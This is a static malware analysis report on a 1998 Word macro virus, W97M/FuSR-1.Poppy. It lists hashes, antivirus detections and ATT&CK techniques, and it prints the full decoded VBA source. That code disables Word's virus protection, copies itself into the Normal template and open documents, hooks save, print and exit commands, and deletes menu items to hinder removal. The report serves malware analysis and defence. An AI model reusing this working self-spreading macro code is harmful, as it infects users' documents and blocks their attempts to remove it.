Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb8dace6c9c52e5c…

MALICIOUS

Office (OLE)

41.5 KB Created: 1998-02-11 19:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 56786718c26167bca53d058cdc286574 SHA-1: 633ca61cbcaf7501f4bdc708d4d791fab4dd4149 SHA-256: bb8dace6c9c52e5cd51828fbeedfafdb1b5104ce4cb044b7be0500f5f2b02b68
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with multiple critical detections, including Win.Trojan.Pivis-2. The VBA macro code indicates an attempt to infect the Normal template and the active document, suggesting a self-spreading or persistence mechanism. The macro also attempts to remove the 'Macro' command from the 'Tools' menu, which is a common tactic to hinder analysis and removal.

Heuristics 3

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2595 bytes
SHA-256: dcfc135e5a2664ed152c79f24b02ea3268ee21c943303d44961b82cf4fa4d17e
Detection
ClamAV: Doc.Trojan.AntiSR1-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "FuSR_1"
    
Sub FuSR_1()
    
    'W97M/FuSR-1.Poppy
    'FuSR-1 (Fuck You Service Release 1)
    'First Macro Virus to work with SR-1
    '
    '  -- this is the fixed version --
    '
    'Produced by,
    'The VicodinES Macro.Poppy Construction Kit v1.0c
    '================================================
  
On Error Resume Next
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(I).Name = "FuSR_1" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(I).Name = "FuSR_1" Then ActivInstall = True
Next I
If ActivInstall = False Then
    With ActiveDocument.VBProject
        With .VBComponents.Import("c:\FuSR_1.bas")
        End With
    End With
End If
If NormInstall = False Then
    Application.VBE.ActiveVBProject.VBComponents("FuSR_1").Export "c:\FuSR_1.bas"
    With NormalTemplate.VBProject
        With .VBComponents.Import("c:\FuSR_1.bas")
        End With
    End With
End If
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
     If NormalTemplate.Saved = False Then NormalTemplate.Save
     End If
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
'VMPCK v1.0c
fuckoff:
End Sub
Sub FileSave()
    On Error Resume Next
    Call FuSR_1
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call FuSR_1
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Dialogs(wdDialogFileSaveAs).Show
    Call FuSR_1
End Sub
Sub FilePrint()
    On Error Resume Next
    Dialogs(wdDialogFilePrint).Show
    Call FuSR_1
End Sub
Sub FileExit()
    On Error Resume Next
    Call FuSR_1
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub AutoExit()
    On Error Resume Next
    Call FuSR_1
End Sub
Sub ViewVBCode()
    On Error Resume Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.